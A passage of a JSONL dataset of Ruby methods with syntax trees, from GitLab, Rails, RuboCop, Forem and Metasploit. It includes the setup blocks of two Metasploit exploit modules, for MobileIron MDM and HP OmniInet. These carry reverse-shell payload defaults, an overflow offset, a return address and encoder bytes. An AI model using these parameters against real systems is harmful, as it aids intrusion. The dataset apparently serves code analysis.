#redoc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"css\",{\"type\":\"str\",\"children\":[\"script[src*=\\\"redoc\\\"]\"]}]},\"any?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"css\",{\"type\":\"str\",\"children\":[\"script[src*=\\\"redoc.standalone\\\"]\"]}]},\"any?\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_title\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"redoc\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<redoc-?\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"redoc(\\\\.standalone)?\\\\.js\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"0214f84d-8cb9-4164-bdb9-2d84586e86ea"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/mobileiron_mdm_hessian_rce.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'MobileIron MDM Hessian-Based Java Deserialization RCE',\n        'Description' => %q{\n          This module exploits an ACL bypass in MobileIron MDM products to\n          execute a Groovy gadget against a Hessian-based Java deserialization\n          endpoint.\n        },\n        'Author' => [\n          'Orange Tsai', # Discovery\n          'rootxharsh', # Exploit\n          'iamnoooob', # Exploit\n          'wvu' # Module\n        ],\n        'References' => [\n          ['CVE', '2020-15505'],\n          ['URL', 'https://www.mobileiron.com/en/blog/mobileiron-security-updates-available'],\n          ['URL', 'https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html'],\n          ['URL', 'https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505']\n        ],\n        'DisclosureDate' => '2020-09-12', # Public disclosure\n        'License' => MSF_LICENSE,\n        'Platform' => ['unix', 'linux'],\n        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n        'Privileged' => false,\n        'Targets' => [\n          [\n            'Unix Command',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'cmd/unix/reverse_python_ssl'\n              }\n            }\n          ],\n          [\n            'Linux Dropper',\n            {\n              'Platform' => 'linux',\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :linux_dropper,\n              'DefaultOptions' => {\n                'CMDSTAGER::FLAVOR' => :bourne,\n                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n              }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'SSL' => true\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options([\n      Opt::RPORT(443),\n      OptString.new('TARGETURI', [true, 'Base path', '/'])\n    ])\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"MobileIron MDM Hessian-Based Java Deserialization RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an ACL bypass in MobileIron MDM products to\\n\"]},{\"type\":\"str\",\"children\":[\"          execute a Groovy gadget against a Hessian-based Java deserialization\\n\"]},{\"type\":\"str\",\"children\":[\"          endpoint.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Orange Tsai\"]},{\"type\":\"str\",\"children\":[\"rootxharsh\"]},{\"type\":\"str\",\"children\":[\"iamnoooob\"]},{\"type\":\"str\",\"children\":[\"wvu\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-15505\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.mobileiron.com/en/blog/mobileiron-security-updates-available\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-09-12\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/reverse_python_ssl\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"linux_dropper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CMDSTAGER::FLAVOR\"]},{\"type\":\"sym\",\"children\":[\"bourne\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"linux/x64/meterpreter/reverse_tcp\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"d9017cd7-3a07-4148-8d34-b43fed7df870"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/security/ci_configuration/base_create_service.rb","start_line":16,"raw_source":"def execute\n        if project.repository.empty? &&\n            !(@params && (@params[:initialize_with_sast] ||\n                         @params[:initialize_with_secret_detection]))\n          docs_link = ActionController::Base.helpers.link_to(\n            _('add at least one file to the repository'),\n            Rails.application.routes.url_helpers.help_page_url(\n              'user/project/repository/_index.md', anchor: 'add-files-to-a-repository'\n            ),\n            target: '_blank',\n            rel: 'noopener noreferrer'\n          )\n\n          return ServiceResponse.error(\n            message: _(format('You must %s before using Security features.', docs_link)).html_safe\n          )\n        end\n\n        project.repository.add_branch(current_user, branch_name, project.default_branch)\n\n        attributes_for_commit = attributes\n\n        result = ::Files::MultiService.new(project, current_user, attributes_for_commit).execute\n\n        return ServiceResponse.error(message: result[:message]) unless result[:status] == :success\n\n        track_event(attributes_for_commit)\n        ServiceResponse.success(payload: { branch: branch_name, success_path: successful_change_path })\n      rescue CiContentParseError => e\n        Gitlab::ErrorTracking.track_exception(e)\n\n        ServiceResponse.error(message: e.message)\n      rescue Gitlab::Git::PreReceiveError => e\n        ServiceResponse.error(message: e.message)\n      rescue StandardError\n        remove_branch_on_exception\n        raise\n      end","complexity_score":77.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"initialize_with_sast\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"initialize_with_secret_detection\"]}]}]}]}]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"docs_link\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"helpers\"]},\"link_to\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"add at least one file to the repository\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"routes\"]},\"url_helpers\"]},\"help_page_url\",{\"type\":\"str\",\"children\":[\"user/project/repository/_index.md\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anchor\"]},{\"type\":\"str\",\"children\":[\"add-files-to-a-repository\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"str\",\"children\":[\"_blank\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rel\"]},{\"type\":\"str\",\"children\":[\"noopener noreferrer\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"str\",\"children\":[\"You must %s before using Security features.\"]},{\"type\":\"lvar\",\"children\":[\"docs_link\"]}]}]},\"html_safe\"]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]},\"add_branch\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"branch_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"default_branch\"]}]},{\"type\":\"lvasgn\",\"children\":[\"attributes_for_commit\",{\"type\":\"send\",\"children\":[null,\"attributes\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Files\"]},\"MultiService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"attributes_for_commit\"]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"success\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"track_event\",{\"type\":\"lvar\",\"children\":[\"attributes_for_commit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch\"]},{\"type\":\"send\",\"children\":[null,\"branch_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success_path\"]},{\"type\":\"send\",\"children\":[null,\"successful_change_path\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CiContentParseError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"PreReceiveError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_branch_on_exception\"]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}","id":"7143e117-c44a-4c59-94e2-2c1850cf48d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/page/logging.rb","start_line":81,"raw_source":"def click_element(name, page = nil, **kwargs)\n          msg = [\"clicking :#{highlight_element(name)}\"]\n          msg << \"and ensuring #{page} is present\" if page\n\n          log(msg.join(' '), :info)\n          log(\"with args #{kwargs}\")\n          log_slow_code(name, **kwargs) { super }\n        end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"click_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"page\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"clicking :\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"highlight_element\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"and ensuring \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]}]},{\"type\":\"str\",\"children\":[\" is present\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"sym\",\"children\":[\"info\"]}]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"with args \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_slow_code\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"zsuper\",\"children\":[]}]}]}]}","id":"92390bcc-bad1-4aea-83f1-f20f5658d1a2"}
{"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/stackery_tag.rb","start_line":6,"raw_source":"def initialize(_tag_name, input, _parse_context)\n    super\n\n    stripped_input  = strip_tags(input)\n    unescaped_input = CGI.unescape_html(stripped_input)\n    @params = parsed_input(unescaped_input)\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_tag_name\"]},{\"type\":\"arg\",\"children\":[\"input\"]},{\"type\":\"arg\",\"children\":[\"_parse_context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"stripped_input\",{\"type\":\"send\",\"children\":[null,\"strip_tags\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"unescaped_input\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"unescape_html\",{\"type\":\"lvar\",\"children\":[\"stripped_input\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"send\",\"children\":[null,\"parsed_input\",{\"type\":\"lvar\",\"children\":[\"unescaped_input\"]}]}]}]}]}","id":"51a0569f-b520-4ad2-a4fe-cf212c5956b9"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/hash_syntax.rb","start_line":171,"raw_source":"def ruby19_no_mixed_keys_check(pairs)\n          if force_hash_rockets?(pairs)\n            check(pairs, ':', MSG_HASH_ROCKETS)\n          elsif sym_indices?(pairs)\n            check(pairs, '=>', MSG_19)\n          else\n            check(pairs, ':', MSG_NO_MIXED_KEYS)\n          end\n        end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"ruby19_no_mixed_keys_check\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pairs\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"force_hash_rockets?\",{\"type\":\"lvar\",\"children\":[\"pairs\"]}]},{\"type\":\"send\",\"children\":[null,\"check\",{\"type\":\"lvar\",\"children\":[\"pairs\"]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"const\",\"children\":[null,\"MSG_HASH_ROCKETS\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sym_indices?\",{\"type\":\"lvar\",\"children\":[\"pairs\"]}]},{\"type\":\"send\",\"children\":[null,\"check\",{\"type\":\"lvar\",\"children\":[\"pairs\"]},{\"type\":\"str\",\"children\":[\"=>\"]},{\"type\":\"const\",\"children\":[null,\"MSG_19\"]}]},{\"type\":\"send\",\"children\":[null,\"check\",{\"type\":\"lvar\",\"children\":[\"pairs\"]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"const\",\"children\":[null,\"MSG_NO_MIXED_KEYS\"]}]}]}]}]}","id":"bfd386c1-de42-41c7-937c-2d9e259b7fad"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/stores/memory_store_test.rb","start_line":85,"raw_source":"def test_write_expired_value_with_unless_exist\n    assert_equal true, @cache.write(1, \"aaaa\", expires_in: 1.second)\n    travel 2.seconds\n    assert_equal true, @cache.write(1, \"bbbb\", expires_in: 1.second, unless_exist: true)\n  end","complexity_score":11.25,"ast_json":"{\"type\":\"def\",\"children\":[\"test_write_expired_value_with_unless_exist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"str\",\"children\":[\"aaaa\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"second\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"travel\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"seconds\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"str\",\"children\":[\"bbbb\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"second\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unless_exist\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"f19f809c-9021-49ed-86ae-249f2a5674f6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/hp_omniinet_4.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"HP OmniInet.exe Opcode 20 Buffer Overflow\",\n        'Description' => %q{\n          This module exploits a vulnerability found in HP Data Protector's OmniInet\n          process.  By supplying a long string of data as the file path with opcode '20',\n          a buffer overflow can occur when this data is being written on the stack where\n          no proper bounds checking is done beforehand, which results arbitrary code\n          execution under the context of SYSTEM.  This module is also made against systems\n          such as Windows Server 2003 or Windows Server 2008 that have DEP and/or ASLR\n          enabled by default.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Oren Isacson', # Initial discovery, poc\n          'muts',          # Initial poc of the ROP exploit w/ dookie (WPM())\n          'dookie',        # Initial poc of the ROP exploit w/ muts (WPM())\n          'sinn3r',        # MSF module with corelanc0d3r  (Also Thx to MC and HD)\n          'corelanc0d3r <peter.ve[at]corelan.be>', # MSF module with sinn3r, VP() ROP Chain\n        ],\n        'References' => [\n          [ 'CVE', '2011-1865' ],\n          [ 'OSVDB', '73571'],\n          [ 'EDB', '17468' ],\n          [ 'URL', 'http://www.coresecurity.com/content/HP-Data-Protector-multiple-vulnerabilities' ],\n          [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02872182' ],\n        ],\n        'Payload' => {\n          'BadChars' => \"\\x00\",\n          'PrependEncoder' => \"\\x66\\x81\\xc4\\xb8\\x0b\\x61\\x9d\", # add sp, 0xb88; popad; popfd\n        },\n        'DefaultOptions' => {\n          'EXITFUNC' => \"process\",\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          # If 'Max' gets too long (ie. 10000 bytes), we can get a busted heap\n          [\n            'HP Data Protector A.06.10 b611 / A.06.11 b243 XP SP3/Win2003/Win2008',\n            {\n              'Offset' => 1993, # For overwriting a RETN (6481 for SEH)\n              'Ret' => 0x7C342629, # RETN - MSVCR71.dll\n              'Max' => 5000,\n            }\n          ],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2011-06-29',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([Opt::RPORT(5555)])\n  